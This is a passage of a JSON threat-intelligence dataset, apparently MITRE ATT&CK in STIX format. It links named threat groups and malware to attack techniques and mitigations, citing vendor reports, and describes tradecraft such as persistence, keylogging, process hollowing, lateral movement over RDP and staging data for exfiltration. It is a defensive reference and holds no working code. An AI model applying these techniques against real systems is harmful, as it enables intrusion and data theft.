            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-03-28T20:12:45.077Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RAR to compress collected data before [Exfiltration](https://attack.mitre.org/tactics/TA0010).(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:15:00.840Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses Windows services typically named \"javamtsup\" for persistence.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-25T15:54:59.349Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020).(Citation: Symantec Seaduke 2015)(Citation: Mandiant No Easy Breach)(Citation: FireEye APT29 Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                },
                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
                },
                {
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
                },
                {
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "source_name": "FireEye APT29 Nov 2018"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2021-04-16T20:29:18.409Z",
            "created": "2017-05-31T21:33:27.048Z"
        },
        {
            "id": "relationship--695a988e-daa3-47d7-bf8d-3539ab992f80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "external_references": [
                {
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "source_name": "APT15 Intezer June 2018"
                }
            ],
            "description": "(Citation: APT15 Intezer June 2018)",
            "type": "relationship",
            "modified": "2019-04-22T15:08:48.548Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5e2e672a-02d4-4510-a629-942d44a558f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) contains a keylogger.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.811Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6d17cbbf-dd7e-456c-ad9e-e084c95efdaf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) can upload and download files to the victim.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.001Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4053d6f5-e594-4b52-96a2-2b7c0fa7d332",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses <code>ipconfig /all</code> and <code>route PRINT</code> to identify network adapter and interface information.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.010Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some variants of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "type": "relationship",
            "modified": "2020-03-20T16:35:27.455Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture keystrokes.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:46:28.697Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--72e36412-4427-479b-bc8e-e8d53e997587",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates new services to establish persistence.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)(Citation: Symantec Hydraq Persistence Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                },
                {
                    "source_name": "Symantec Hydraq Persistence Jan 2010",
                    "description": "Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.599Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--167d7b11-01f3-42d5-bb8a-78306dc80243",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: ESET Sednit Part 2)(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                },
                {
                    "source_name": "Microsoft SIR Vol 19",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.841Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "id": "relationship--786cf397-d548-48c1-9ba6-9af66450928c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) can remove itself from a system.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)",
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            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Security Intelligence More Eggs Aug 2019",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-09-16T19:41:10.199Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.564Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fe314020-315d-4fbe-afdd-7751d5c69fb2",
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            "source_ref": "course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
            "type": "relationship",
            "modified": "2021-02-09T15:07:01.024Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3",
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            "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) downloads a PowerShell script that decodes to a typical shellcode loader.(Citation: Forcepoint Monsoon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-20T18:03:40.118Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uploads data in 2048-byte chunks.(Citation: FireEye POSHSPY April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "type": "relationship",
            "modified": "2019-04-24T23:41:40.041Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "description": "[RTM](https://attack.mitre.org/software/S0148) uses the command line and rundll32.exe to execute.(Citation: ESET RTM Feb 2017)",
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            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.672Z",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)(Citation: District Court of NY APT10 Indictment December 2018)",
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                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
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            "relationship_type": "uses",
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            "type": "relationship",
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            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
            "type": "relationship",
            "modified": "2021-01-06T19:32:29.109Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses WMI to script data collection and command execution on the victim.(Citation: Citizen Lab Stealth Falcon May 2016)",
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            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2020-03-19T17:10:50.947Z",
            "created": "2017-05-31T21:33:27.074Z"
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        {
            "id": "relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c",
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            "object_marking_refs": [
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            "source_ref": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
            "type": "relationship",
            "modified": "2020-03-19T20:22:02.310Z",
            "created": "2017-05-31T21:33:27.028Z"
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        {
            "id": "relationship--72cf04c6-5e0b-4743-9386-88f1f1f45899",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware.(Citation: Malwarebytes SmokeLoader 2016)(Citation: Microsoft Dofoil 2018)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "source_name": "Malwarebytes SmokeLoader 2016"
                },
                {
                    "source_name": "Microsoft Dofoil 2018",
                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.536Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
            "id": "relationship--a317b097-b819-441b-b344-9f129ba6cb40",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) used RDP to move laterally in victim networks.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)",
            "object_marking_refs": [
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
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            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-06-28T14:59:17.558Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "id": "relationship--2b8ab0c4-1226-40b6-a01e-368fafd7155c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
            "type": "relationship",
            "modified": "2021-02-09T15:13:27.819Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "id": "relationship--f43ab4db-5dea-4a1f-977a-f5d779330193",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses net.exe to connect to network shares using <code>net use</code> commands with compromised credentials.(Citation: Alperovitch 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                }
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.698Z",
            "created": "2017-05-31T21:33:27.043Z"
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            "id": "relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859",
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraCharlie uses RDP for propagation.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
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                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-09-09T19:15:44.714Z",
            "created": "2017-05-31T21:33:27.069Z"
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            "id": "relationship--f3f122f1-998f-4079-afad-7a59e39f89b7",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files. (Citation: F-Secure The Dukes) (Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)",
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                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "source_name": "FireEye APT29 Nov 2018"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
